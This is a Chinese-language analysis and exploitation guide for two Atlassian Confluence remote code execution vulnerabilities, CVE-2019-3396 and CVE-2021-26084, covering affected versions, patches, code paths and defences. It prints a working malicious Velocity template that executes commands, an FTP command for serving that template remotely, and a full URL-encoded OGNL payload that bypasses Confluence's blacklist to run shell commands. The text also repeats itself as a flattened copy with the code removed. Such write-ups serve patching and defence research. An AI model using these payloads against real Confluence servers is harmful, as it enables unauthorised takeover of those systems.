Confluence CVE-2019-3396 & CVE-2021-26084漏洞分析
字数 1911 2025-08-29 08:30:36

Confluence CVE-2019-3396 & CVE-2021-26084漏洞分析与利用指南

漏洞概述

本文详细分析Atlassian Confluence的两个严重漏洞:CVE-2019-3396(Widget Connector宏漏洞)和CVE-2021-26084(OGNL表达式注入漏洞)。这两个漏洞都允许攻击者在未授权情况下实现远程代码执行(RCE)。

影响版本

CVE-2019-3396影响版本

  • version < 6.6.12
  • 6.7.0 <= version < 6.12.3
  • 6.13.0 <= version < 6.13.3
  • 6.14.0 <= version < 6.14.2

修复版本:6.6.12, 6.13.3, 6.14.2, 6.15.1, 6.12.3, 6.10.3

CVE-2021-26084影响版本

  • version < 6.13.23
  • 6.14.0 ≤ version < 7.4.11
  • 7.5.0 ≤ version < 7.11.5
  • 7.12.0 ≤ version < 7.12.5

CVE-2019-3396漏洞分析

漏洞组件

漏洞存在于Widget Connector插件中,该插件允许用户在Confluence页面中嵌入外部小部件。

漏洞原理

  1. Widget Connector宏在处理用户输入的URL时,未正确过滤_template参数
  2. 攻击者可以通过控制_template参数来指定Velocity模板文件路径
  3. 系统会使用ClasspathResourceLoader加载指定的模板文件
  4. 通过精心构造的Velocity模板可实现远程代码执行

补丁分析

补丁在widgetconnector-3.1.0.jarWidgetMacro.class中添加了过滤函数,从parameters中删除_template字段。

漏洞利用流程

  1. 构造一个包含恶意_template参数的Widget Connector宏请求
  2. 系统调用DefaultRenderManager#getEmbeddedHtml处理URL
  3. 匹配到对应的WidgetRenderer(如YoutubeRenderer
  4. 进入YoutubeRenderer#getEmbeddedHtml,其中_template参数可控
  5. 通过ConfigurableResourceManager#loadResource加载资源
  6. 最终使用ClasspathResourceLoader加载恶意模板

资源加载器分析

系统使用四种资源加载器:

  1. HibernateResourceLoader - ORM资源加载器
  2. FileResourceLoader - 文件读取(有路径遍历防护)
  3. ClasspathResourceLoader - 文件加载(漏洞点)
  4. DynamicPluginResourceLoader - 动态插件资源加载器

ClasspathResourceLoader#getResourceStream最终会调用WebappClassLoaderBase#getResourceAsStream,支持file/https/ftp等协议。

漏洞利用POC

构造恶意Velocity模板(rce.vm):

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext()) $scan.next()#end

利用FTP协议传输模板文件:

python -m pyftpdlib -p 8888

CVE-2021-26084漏洞分析

漏洞原理

这是一个OGNL表达式注入漏洞,攻击者可以通过精心构造的queryString参数注入恶意OGNL表达式,实现远程代码执行。

补丁分析

补丁移除了queryString的OGNL取值功能。

安全防护机制

OgnlValueFinder.class会对表达式进行安全检查:

  1. 编译表达式(解析unicode)
  2. 使用containsUnsafeExpression检查黑名单

黑名单包括:

  1. 限制静态方法、字段、构造方法
  2. 限制获取classloader(如xxx.class或xxx.getClass())
  3. 限制特定变量

绕过技术

可以使用反射绕过黑名单限制,并通过unicode编码逃逸expr的单引号。

漏洞利用POC

queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu002

防护建议

  1. 及时升级到最新修复版本
  2. 限制外部访问Confluence管理界面
  3. 实施网络隔离,限制Confluence服务器的出站连接
  4. 定期检查系统日志,监控可疑活动

参考资源

Confluence CVE-2019-3396 & CVE-2021-26084漏洞分析与利用指南 漏洞概述 本文详细分析Atlassian Confluence的两个严重漏洞:CVE-2019-3396(Widget Connector宏漏洞)和CVE-2021-26084(OGNL表达式注入漏洞)。这两个漏洞都允许攻击者在未授权情况下实现远程代码执行(RCE)。 影响版本 CVE-2019-3396影响版本 version < 6.6.12 6.7.0 <= version < 6.12.3 6.13.0 <= version < 6.13.3 6.14.0 <= version < 6.14.2 修复版本 :6.6.12, 6.13.3, 6.14.2, 6.15.1, 6.12.3, 6.10.3 CVE-2021-26084影响版本 version < 6.13.23 6.14.0 ≤ version < 7.4.11 7.5.0 ≤ version < 7.11.5 7.12.0 ≤ version < 7.12.5 CVE-2019-3396漏洞分析 漏洞组件 漏洞存在于Widget Connector插件中,该插件允许用户在Confluence页面中嵌入外部小部件。 漏洞原理 Widget Connector宏在处理用户输入的URL时,未正确过滤 _template 参数 攻击者可以通过控制 _template 参数来指定Velocity模板文件路径 系统会使用 ClasspathResourceLoader 加载指定的模板文件 通过精心构造的Velocity模板可实现远程代码执行 补丁分析 补丁在 widgetconnector-3.1.0.jar 的 WidgetMacro.class 中添加了过滤函数,从parameters中删除 _template 字段。 漏洞利用流程 构造一个包含恶意 _template 参数的Widget Connector宏请求 系统调用 DefaultRenderManager#getEmbeddedHtml 处理URL 匹配到对应的 WidgetRenderer (如 YoutubeRenderer ) 进入 YoutubeRenderer#getEmbeddedHtml ,其中 _template 参数可控 通过 ConfigurableResourceManager#loadResource 加载资源 最终使用 ClasspathResourceLoader 加载恶意模板 资源加载器分析 系统使用四种资源加载器: HibernateResourceLoader - ORM资源加载器 FileResourceLoader - 文件读取(有路径遍历防护) ClasspathResourceLoader - 文件加载(漏洞点) DynamicPluginResourceLoader - 动态插件资源加载器 ClasspathResourceLoader#getResourceStream 最终会调用 WebappClassLoaderBase#getResourceAsStream ,支持file/https/ftp等协议。 漏洞利用POC 构造恶意Velocity模板(rce.vm): 利用FTP协议传输模板文件: CVE-2021-26084漏洞分析 漏洞原理 这是一个OGNL表达式注入漏洞,攻击者可以通过精心构造的queryString参数注入恶意OGNL表达式,实现远程代码执行。 补丁分析 补丁移除了queryString的OGNL取值功能。 安全防护机制 OgnlValueFinder.class 会对表达式进行安全检查: 编译表达式(解析unicode) 使用 containsUnsafeExpression 检查黑名单 黑名单包括: 限制静态方法、字段、构造方法 限制获取classloader(如xxx.class或xxx.getClass()) 限制特定变量 绕过技术 可以使用反射绕过黑名单限制,并通过unicode编码逃逸expr的单引号。 漏洞利用POC 防护建议 及时升级到最新修复版本 限制外部访问Confluence管理界面 实施网络隔离,限制Confluence服务器的出站连接 定期检查系统日志,监控可疑活动 参考资源 Vulhub Confluence CVE-2021-26084 Seebug Paper 893 Seebug Paper 884